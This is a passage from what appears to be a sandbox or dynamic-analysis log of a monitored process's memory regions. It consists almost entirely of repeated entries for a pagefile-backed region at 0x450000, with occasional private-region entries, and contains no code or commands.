pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5865 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5866 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5867 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5868 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5869 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5870 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5871 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5872 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5873 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5874 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5875 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5876 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5877 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5878 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5879 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5880 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5881 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5882 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5883 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5884 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5885 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5886 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5887 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5888 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5889 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5890 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5891 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5892 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5893 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5894 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5895 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5896 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5897 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5898 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5899 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5900 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5901 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5902 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5903 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5904 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5905 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5906 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5907 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5908 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5909 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5910 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5911 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5912 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5913 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5914 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5915 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5916 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5917 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 5918 start_va = 0x2390000 end_va = 0x23adfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5919 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5920 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5921 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5922 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5923 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5924 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5925 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5926 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5927 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5928 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5929 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5930 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5931 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5932 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5933 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5934 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5935 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5936 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5937 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5938 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5939 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5940 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5941 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5942 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5943 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5944 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5945 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5946 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5947 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5948 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5949 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5950 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5951 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5952 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5953 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5954 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5955 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5956 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5957 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5958 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5959 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5960 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5961 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5962 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5963 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5964 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5965 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5966 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5967 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5968 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5969 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5970 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5971 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5972 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5973 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5974 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5975 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5976 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5977 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5978 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5979 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5980 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5981 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5982 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5983 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5984 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5985 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5986 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5987 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5988 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5989 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5990 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5991 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5992 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5993 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5994 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5995 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5996 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5997 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5998 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5999 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6000 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6001 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6002 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6003 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6004 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6005 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6006 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6007 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6008 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6009 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6010 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6011 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6012 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6013 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6014 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6015 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6016 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6017 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6018 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6019 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6020 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6021 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6022 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6023 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6024 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 6025 start_va = 0x2390000 end_va = 0x23adfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 6026 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6027 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6028 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6029 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6030 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6031 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6032 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6033 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6034 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6035 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6036 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6037 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6038 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6039 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6040 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6041 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6042 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6043 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6044 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6045 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6046 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6047 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6048 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6049 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6050 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6051 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6052 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6053 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6054 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = 